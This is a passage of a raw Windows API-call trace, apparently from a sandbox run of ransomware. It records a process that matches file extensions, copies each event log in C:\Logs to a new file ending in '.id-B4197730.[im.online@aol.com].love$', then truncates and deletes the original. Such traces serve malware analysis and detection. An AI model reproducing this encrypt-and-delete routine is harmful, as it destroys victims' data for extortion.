-1 [0224.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.853] lstrlenW (lpString=".zip") returned 4 [0224.853] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.853] lstrlenW (lpString=".rar") returned 4 [0224.853] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.853] lstrlenW (lpString=".bz2") returned 4 [0224.853] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.853] lstrlenW (lpString=".7z") returned 3 [0224.853] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.853] lstrlenW (lpString=".dbf") returned 4 [0224.853] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.853] lstrlenW (lpString=".1cd") returned 4 [0224.853] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.853] lstrlenW (lpString=".jpg") returned 4 [0224.853] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.854] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.854] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0224.854] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.855] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0224.855] CloseHandle (hObject=0x39c) returned 1 [0224.855] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0224.855] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.855] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.856] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.856] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.856] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0224.857] GetLastError () returned 0x0 [0224.857] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.867] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.871] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0224.871] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x134, lpOverlapped=0x0) returned 1 [0224.871] SetEndOfFile (hFile=0x3a0) returned 1 [0224.872] CloseHandle (hObject=0x3a0) returned 1 [0224.876] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.876] SetEndOfFile (hFile=0x39c) returned 1 [0224.878] CloseHandle (hObject=0x39c) returned 1 [0224.878] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.878] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0224.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.879] lstrlenW (lpString=".doc") returned 4 [0224.879] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.879] lstrlenW (lpString=".docx") returned 5 [0224.879] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.879] lstrlenW (lpString=".pdf") returned 4 [0224.879] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.879] lstrlenW (lpString=".xls") returned 4 [0224.879] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.879] lstrlenW (lpString=".xlsx") returned 5 [0224.879] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.879] lstrlenW (lpString=".ppt") returned 4 [0224.879] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.879] lstrlenW (lpString=".zip") returned 4 [0224.879] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.879] lstrlenW (lpString=".rar") returned 4 [0224.879] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.879] lstrlenW (lpString=".bz2") returned 4 [0224.879] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.879] lstrlenW (lpString=".7z") returned 3 [0224.884] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.884] lstrlenW (lpString=".dbf") returned 4 [0224.884] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.884] lstrlenW (lpString=".1cd") returned 4 [0224.884] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.884] lstrlenW (lpString=".jpg") returned 4 [0224.884] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.884] lstrlenW (lpString=".doc") returned 4 [0224.884] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.884] lstrlenW (lpString=".docx") returned 5 [0224.884] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.884] lstrlenW (lpString=".pdf") returned 4 [0224.884] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.884] lstrlenW (lpString=".xls") returned 4 [0224.884] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.884] lstrlenW (lpString=".xlsx") returned 5 [0224.885] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.885] lstrlenW (lpString=".ppt") returned 4 [0224.885] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.885] lstrlenW (lpString=".zip") returned 4 [0224.885] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.885] lstrlenW (lpString=".rar") returned 4 [0224.885] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.885] lstrlenW (lpString=".bz2") returned 4 [0224.885] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.885] lstrlenW (lpString=".7z") returned 3 [0224.885] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.885] lstrlenW (lpString=".dbf") returned 4 [0224.885] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.885] lstrlenW (lpString=".1cd") returned 4 [0224.885] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0224.885] lstrlenW (lpString=".jpg") returned 4 [0224.885] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.885] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.885] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0224.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.886] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0224.886] CloseHandle (hObject=0x39c) returned 1 [0224.886] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0224.886] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.886] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.887] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.887] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.887] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0224.887] GetLastError () returned 0x0 [0224.887] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0225.158] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0225.161] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.161] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x128, lpOverlapped=0x0) returned 1 [0225.161] SetEndOfFile (hFile=0x3a0) returned 1 [0225.333] CloseHandle (hObject=0x3a0) returned 1 [0225.411] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.411] SetEndOfFile (hFile=0x39c) returned 1 [0225.413] CloseHandle (hObject=0x39c) returned 1 [0225.413] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0225.413] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0225.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.466] lstrlenW (lpString=".doc") returned 4 [0225.466] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.466] lstrlenW (lpString=".docx") returned 5 [0225.501] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.501] lstrlenW (lpString=".pdf") returned 4 [0225.501] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.501] lstrlenW (lpString=".xls") returned 4 [0225.501] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.501] lstrlenW (lpString=".xlsx") returned 5 [0225.501] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.501] lstrlenW (lpString=".ppt") returned 4 [0225.501] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.501] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.501] lstrlenW (lpString=".zip") returned 4 [0225.501] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.501] lstrlenW (lpString=".rar") returned 4 [0225.501] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.501] lstrlenW (lpString=".bz2") returned 4 [0225.501] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.501] lstrlenW (lpString=".7z") returned 3 [0225.502] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.502] lstrlenW (lpString=".dbf") returned 4 [0225.502] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.502] lstrlenW (lpString=".1cd") returned 4 [0225.502] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.502] lstrlenW (lpString=".jpg") returned 4 [0225.502] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.502] lstrlenW (lpString=".doc") returned 4 [0225.502] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.502] lstrlenW (lpString=".docx") returned 5 [0225.502] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.502] lstrlenW (lpString=".pdf") returned 4 [0225.502] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.502] lstrlenW (lpString=".xls") returned 4 [0225.502] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.502] lstrlenW (lpString=".xlsx") returned 5 [0225.502] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.502] lstrlenW (lpString=".ppt") returned 4 [0225.502] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.502] lstrlenW (lpString=".zip") returned 4 [0225.502] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.502] lstrlenW (lpString=".rar") returned 4 [0225.503] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.503] lstrlenW (lpString=".bz2") returned 4 [0225.503] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.503] lstrlenW (lpString=".7z") returned 3 [0225.503] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.503] lstrlenW (lpString=".dbf") returned 4 [0225.503] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.503] lstrlenW (lpString=".1cd") returned 4 [0225.503] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0225.503] lstrlenW (lpString=".jpg") returned 4 [0225.503] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.503] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0225.503] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0225.503] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0225.504] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0225.504] CloseHandle (hObject=0x39c) returned 1 [0225.504] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0225.504] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.504] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0225.504] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.504] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.505] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0225.505] GetLastError () returned 0x0 [0225.505] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0225.510] WriteFile (in: hFile=0x42c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0225.513] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.513] WriteFile (in: hFile=0x42c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x114, lpOverlapped=0x0) returned 1 [0225.513] SetEndOfFile (hFile=0x42c) returned 1 [0225.514] CloseHandle (hObject=0x42c) returned 1 [0225.520] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.520] SetEndOfFile (hFile=0x39c) returned 1 [0225.522] CloseHandle (hObject=0x39c) returned 1 [0225.522] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0225.522] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0225.523] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.523] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.523] lstrlenW (lpString=".doc") returned 4 [0225.523] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.523] lstrlenW (lpString=".docx") returned 5 [0225.523] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.523] lstrlenW (lpString=".pdf") returned 4 [0225.523] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.523] lstrlenW (lpString=".xls") returned 4 [0225.523] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.523] lstrlenW (lpString=".xlsx") returned 5 [0225.523] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.523] lstrlenW (lpString=".ppt") returned 4 [0225.523] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.523] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.523] lstrlenW (lpString=".zip") returned 4 [0225.523] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.523] lstrlenW (lpString=".rar") returned 4 [0225.523] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.523] lstrlenW (lpString=".bz2") returned 4 [0225.523] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.523] lstrlenW (lpString=".7z") returned 3 [0225.523] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.524] lstrlenW (lpString=".dbf") returned 4 [0225.524] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.524] lstrlenW (lpString=".1cd") returned 4 [0225.524] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.524] lstrlenW (lpString=".jpg") returned 4 [0225.524] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.524] lstrlenW (lpString=".doc") returned 4 [0225.524] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.524] lstrlenW (lpString=".docx") returned 5 [0225.524] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.524] lstrlenW (lpString=".pdf") returned 4 [0225.524] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.524] lstrlenW (lpString=".xls") returned 4 [0225.524] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.524] lstrlenW (lpString=".xlsx") returned 5 [0225.524] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.524] lstrlenW (lpString=".ppt") returned 4 [0225.524] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.524] lstrlenW (lpString=".zip") returned 4 [0225.524] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.524] lstrlenW (lpString=".rar") returned 4 [0225.524] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.525] lstrlenW (lpString=".bz2") returned 4 [0225.525] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.525] lstrlenW (lpString=".7z") returned 3 [0225.525] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.525] lstrlenW (lpString=".dbf") returned 4 [0225.525] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.525] lstrlenW (lpString=".1cd") returned 4 [0225.525] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0225.525] lstrlenW (lpString=".jpg") returned 4 [0225.525] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.525] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0225.525] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0225.525] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0225.819] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0225.819] CloseHandle (hObject=0x3c0) returned 1 [0225.823] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0225.828] GetFileAttributesW 